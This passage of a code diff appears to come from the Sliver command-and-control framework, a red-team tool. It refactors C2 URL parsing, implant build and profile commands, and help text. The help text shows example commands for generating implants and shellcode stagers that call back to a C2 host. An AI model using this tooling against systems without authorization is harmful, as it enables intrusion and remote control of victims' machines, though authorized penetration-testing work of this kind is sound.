 			URL:      uri.String(),
 		})
 	}
-	return c2s
+	return c2s, nil
 }
 
-func parseHTTPc2(args string) []*clientpb.ImplantC2 {
+// ParseWGc2 - Parse wg connect string arg
+func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "mtls://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Port() == "" {
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseHTTPc2 - Parse HTTP connection string arg
+func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
@@ -415,14 +450,12 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
 		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
-				log.Printf("Failed to parse C2 URL %s", err)
-				continue
+				return nil, err
 			}
 		} else {
 			uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
 			if err != nil {
-				log.Printf("Failed to parse C2 URL %s", err)
-				continue
+				return nil, err
 			}
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
@@ -430,79 +463,103 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
 			URL:      uri.String(),
 		})
 	}
-	return c2s
+	return c2s, nil
 }
 
-func parseDNSc2(args string) []*clientpb.ImplantC2 {
+// ParseDNSc2 - Parse DNS connection string arg
+func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s
+		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
-		uri := url.URL{Scheme: "dns"}
-		if len(arg) < 1 {
-			continue
-		}
-		// Make sure we have the FQDN
-		if !strings.HasSuffix(arg, ".") {
-			arg += "."
-		}
-		arg = strings.TrimPrefix(arg, ".")
-
-		uri.Host = arg
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		uri, err := url.Parse("namedpipe://" + arg)
-		if len(arg) < 1 {
-			continue
-		}
-		if err != nil {
-			return c2s
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "dns://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
+			if err != nil {
+				return nil, err
+			}
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s
+	return c2s, nil
 }
 
-func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
+// ParseNamedPipec2 - Parse named pipe connection string arg
+func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s
+		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
-
-		uri := url.URL{Scheme: "tcppivot"}
-		uri.Host = arg
-		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "named-pipe://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
+			if err != nil {
+				return nil, err
+			}
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s
+	return c2s, nil
+}
+
+// ParseTCPPivotc2 - Parse tcp pivot connection string arg
+func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "tcp-pivot://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
 }
 
 func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
-
-	con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
 	if config.ObfuscateSymbols {
 		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
 	} else if !config.Debug {
@@ -572,7 +629,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
 
 	compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
 	if err != nil {
-		con.PrintWarnf("Failed to check target compatibility: %s\n", err)
+		con.PrintErrorf("Failed to check target compatibility: %s\n", err)
 		return true
 	}
 
@@ -607,7 +664,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
 }
 
 func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
-	con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
+	con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
 	switch targetOS {
 	case "windows":
 		con.PrintWarnf("The server cannot find an installation of mingw")

client/command/generate/implants-rm.go

@@ -2,7 +2,9 @@ package generate
 
 import (
 	"context"
+	"fmt"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
@@ -10,8 +12,24 @@ import (
 
 // ImplantsRmCmd - Deletes an archived implant build from the server
 func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No name specified\n")
+		return
+	}
+	build := ImplantBuildByName(name, con)
+	if build == nil {
+		con.PrintErrorf("No implant build found with name '%s'\n", name)
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
 	_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
-		Name: ctx.Args.String("implant-name"),
+		Name: name,
 	})
 	if err != nil {
 		con.PrintErrorf("Failed to delete implant %s\n", err)

client/command/generate/implants.go

@@ -19,19 +19,29 @@ package generate
 */
 
 import (
-	"bytes"
 	"context"
 	"fmt"
-	"io"
+	"sort"
 	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
+// ImplantBuildFilter - Filter implant builds
+type ImplantBuildFilter struct {
+	GOOS    string
+	GOARCH  string
+	Beacon  bool
+	Session bool
+	Format  string
+	Debug   bool
+}
+
 // ImplantsCmd - Displays archived implant builds
 func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	implantBuildfilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
+		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
 }
 
-func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("OS/Arch")),
-		strings.Repeat("=", len("Debug")),
-		strings.Repeat("=", len("Format")),
-		strings.Repeat("=", len("Command & Control")),
-	)
+// PrintImplantBuilds - Print the implant builds on the server
+func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Implant Type",
+		"OS/Arch",
+		"Format",
+		"Command & Control",
+		"Debug",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
 
 	for sliverName, config := range configs {
-		if 0 < len(config.C2) {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-				sliverName,
-				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
-				fmt.Sprintf("%v", config.Debug),
-				config.Format,
-				fmt.Sprintf("[1] %s", config.C2[0].URL),
-			)
+		if filters.GOOS != "" && config.GOOS != filters.GOOS {
+			continue
 		}
-		if 1 < len(config.C2) {
-			for index, c2 := range config.C2[1:] {
-				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-					"",
-					"",
-					"",
-					"",
-					fmt.Sprintf("[%d] %s", index+2, c2.URL),
-				)
-			}
+		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
+			continue
 		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
+		if filters.Beacon && !config.IsBeacon {
+			continue
+		}
+		if filters.Session && config.IsBeacon {
+			continue
+		}
+		if filters.Debug && config.Debug {
+			continue
+		}
+		if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
+			!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
+			continue
+		}
+
+		implantType := "session"
+		if config.IsBeacon {
+			implantType = "beacon"
+		}
+		c2URLs := []string{}
+		for index, c2 := range config.C2 {
+			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
+		}
+		tw.AppendRow(table.Row{
+			sliverName,
+			implantType,
+			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+			config.Format,
+			strings.Join(c2URLs, "\n"),
+			fmt.Sprintf("%v", config.Debug),
+		})
 	}
-	table.Flush()
-	fmt.Fprintf(stdout, "%s", outputBuf.String())
+
+	con.Println(tw.Render())
+}
+
+// ImplantBuildNameCompleter - Completer for implant build names
+func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []string{}
+	}
+	results := []string{}
+	for name, config := range builds.Configs {
+		if filters.GOOS != "" && config.GOOS != filters.GOOS {
+			continue
+		}
+		if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
+			continue
+		}
+		if filters.Beacon && !config.IsBeacon {
+			continue
+		}
+		if filters.Session && config.IsBeacon {
+			continue
+		}
+		if filters.Debug && config.Debug {
+			continue
+		}
+		if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
+			continue
+		}
+
+		if strings.HasPrefix(name, prefix) {
+			results = append(results, name)
+		}
+	}
+	sort.StringSlice(results).Sort()
+	return results
+}
+
+// ImplantBuildByName - Get an implant build by name
+func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil
+	}
+	for _, build := range builds.Configs {
+		if build.Name == name {
+			return build
+		}
+	}
+	return nil
 }

client/command/generate/profiles-generate.go

@@ -30,9 +30,9 @@ import (
 
 // ProfilesGenerateCmd - Generate an implant binary based on a profile
 func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Flags.String("name")
+	name := ctx.Args.String("name")
 	if name == "" {
-		con.PrintErrorf("no profile selected")
+		con.PrintErrorf("No profile name specified\n")
 		return
 	}
 	save := ctx.Flags.String("save")

client/command/generate/profiles-new.go

@@ -1,5 +1,22 @@
 package generate
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
 import (
 	"context"
 
@@ -10,11 +27,7 @@ import (
 
 // ProfilesNewCmd - Create a new implant profile
 func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Flags.String("profile-name")
-	if name == "" {
-		con.PrintErrorf("Invalid profile name\n")
-		return
-	}
+	name := ctx.Args.String("name")
 	config := parseCompileFlags(ctx, con)
 	if config == nil {
 		return
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved new profile %s\n", resp.Name)
+		con.PrintInfof("Saved new implant profile %s\n", resp.Name)
+	}
+}
+
+// ProfilesNewBeaconCmd - Create a new beacon profile
+func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No profile name specified\n")
+		return
+	}
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	profile := &clientpb.ImplantProfile{
+		Name:   name,
+		Config: config,
+	}
+	resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
 	}
 }

client/command/generate/profiles-rm.go

@@ -1,8 +1,28 @@
 package generate
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
+	"fmt"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
@@ -10,8 +30,24 @@ import (
 
 // ProfilesRmCmd - Delete an implant profile
 func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No profile name specified\n")
+		return
+	}
+	profile := GetImplantProfileByName(name, con)
+	if profile == nil {
+		con.PrintErrorf("No profile found with name '%s'\n", name)
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
 	_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
-		Name: ctx.Args.String("profile-name"),
+		Name: name,
 	})
 	if err != nil {
 		con.PrintErrorf("Failed to delete profile %s\n", err)

client/command/generate/profiles.go

@@ -21,15 +21,15 @@ package generate
 import (
 	"context"
 	"fmt"
-	"os"
 	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // ProfilesCmd - Display implant profiles
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if len(profiles) == 0 {
-		con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
+		con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
 		return
+	} else {
+		PrintProfiles(profiles, con)
 	}
-	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
-	fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("Platform")),
-		strings.Repeat("=", len("Command & Control")),
-		strings.Repeat("=", len("Debug")),
-		strings.Repeat("=", len("Format")),
-		strings.Repeat("=", len("Obfuscation")),
-		strings.Repeat("=", len("Limitations")),
-	)
+}
+
+// PrintProfiles - Print the profiles
+func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Profile Name",
+		"Implant Type",
+		"Platform",
+		"Command & Control",
+		"Debug",
+		"Format",
+		"Obfuscation",
+		"Limitations",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Profile Name", Mode: table.Asc},
+	})
 
 	for _, profile := range profiles {
 		config := profile.Config
-		if 0 < len(config.C2) {
-			obfuscation := "strings only"
-			if config.ObfuscateSymbols {
-				obfuscation = "symbols obfuscation"
-			}
-			if config.Debug {
-				obfuscation = "none"
-			}
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-				profile.Name,
-				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
-				fmt.Sprintf("[1] %s", config.C2[0].URL),
-				fmt.Sprintf("%v", config.Debug),
-				fmt.Sprintf("%v", config.Format),
-				obfuscation,
-				getLimitsString(config),
-			)
+
+		obfuscation := "disabled"
+		if config.ObfuscateSymbols {
+			obfuscation = "enabled"
 		}
-		if 1 < len(config.C2) {
-			for index, c2 := range config.C2[1:] {
-				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-					"",
-					"",
-					fmt.Sprintf("[%d] %s", index+2, c2.URL),
-					"",
-					"",
-					"",
-					"",
-				)
-			}
+		implantType := "session"
+		if config.IsBeacon {
+			implantType = "beacon"
 		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
+		c2URLs := []string{}
+		for index, c2 := range config.C2 {
+			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
+		}
+		tw.AppendRow(table.Row{
+			profile.Name,
+			implantType,
+			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+			strings.Join(c2URLs, "\n"),
+			fmt.Sprintf("%v", config.Debug),
+			fmt.Sprintf("%v", config.Format),
+			obfuscation,
+			getLimitsString(config),
+		})
 	}
-	table.Flush()
+
+	con.Printf("%s\n", tw.Render())
 }
 
 func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
 	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
 	if err != nil {
-		con.PrintErrorf("Error %s", err)
+		con.PrintErrorf("%s\n", err)
 		return nil
 	}
 	return pbProfiles.Profiles
 }
 
+// GetImplantProfileByName - Get an implant profile by a specific name
 func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
 	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
 	if err != nil {
-		con.PrintErrorf("Error %s", err)
+		con.PrintErrorf("%s\n", err)
 		return nil
 	}
 	for _, profile := range pbProfiles.Profiles {
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
 	}
 	return nil
 }
+
+// ProfileNameCompleter - Completer for implant build names
+func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []string{}
+	}
+	results := []string{}
+	for _, profile := range pbProfiles.Profiles {
+		if strings.HasPrefix(profile.Name, prefix) {
+			results = append(results, profile.Name)
+		}
+	}
+	return results
+}

client/command/help/help.go

@@ -45,12 +45,19 @@ func printHelp(con *console.SliverConsoleClient) {
 	groups := make(map[string]*grumble.Commands)
 	for _, c := range con.App.Commands().All() {
 		key := c.HelpGroup
-		if con.ActiveSession.Get() != nil {
-			if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
+		targetOS := ""
+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil {
+			targetOS = session.OS
+		} else if beacon != nil {
+			targetOS = beacon.OS
+		}
+		if beacon != nil || session != nil {
+			if targetOS != "windows" && key == consts.SliverWinHelpGroup {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.LoadMacroStr:        loadMacrosHelp,
+		consts.AliasesStr:          loadMacrosHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -84,7 +84,7 @@ var (
 		consts.RegistryWriteStr:             regWriteHelp,
 		consts.RegistryReadStr:              regReadHelp,
 		consts.RegistryCreateKeyStr:         regCreateKeyHelp,
-		consts.PivotsListStr:                pivotListHelp,
+		consts.PivotsStr:                    pivotsHelp,
 		consts.WgPortFwdStr:                 wgPortFwdHelp,
 		consts.WgSocksStr:                   wgSocksHelp,
 		consts.SSHStr:                       sshHelp,
@@ -173,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
 Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
-see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
+see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
 command.
 `
 	generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
 
 stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
-To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
+To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
 `
 
 	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
-Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
-settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
-	new-profile --profile-name mtls-profile  --mtls foo.example.com --canary 1.foobar.com
-	generate-profile mtls-profile
+Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
+settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
+	profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
+	profiles generate my-profile-name
 `
 
-	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
-[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
+	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
+[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
 
 	msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
 [[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,21 +228,45 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
 	psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
 [[.Bold]]About:[[.Normal]] List processes on remote system.`
 
-	pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
-[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty 
-c2 message round trip to ensure the remote Sliver is still responding to commands.`
+	pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
+[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small 
+C2 message round trip to ensure the remote implant is still responding to commands.`
 
-	killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
-[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
+	killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
+[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
-[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
+[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
 
 	pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
-[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
+[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
 
 	mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
 [[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -266,20 +290,20 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
 
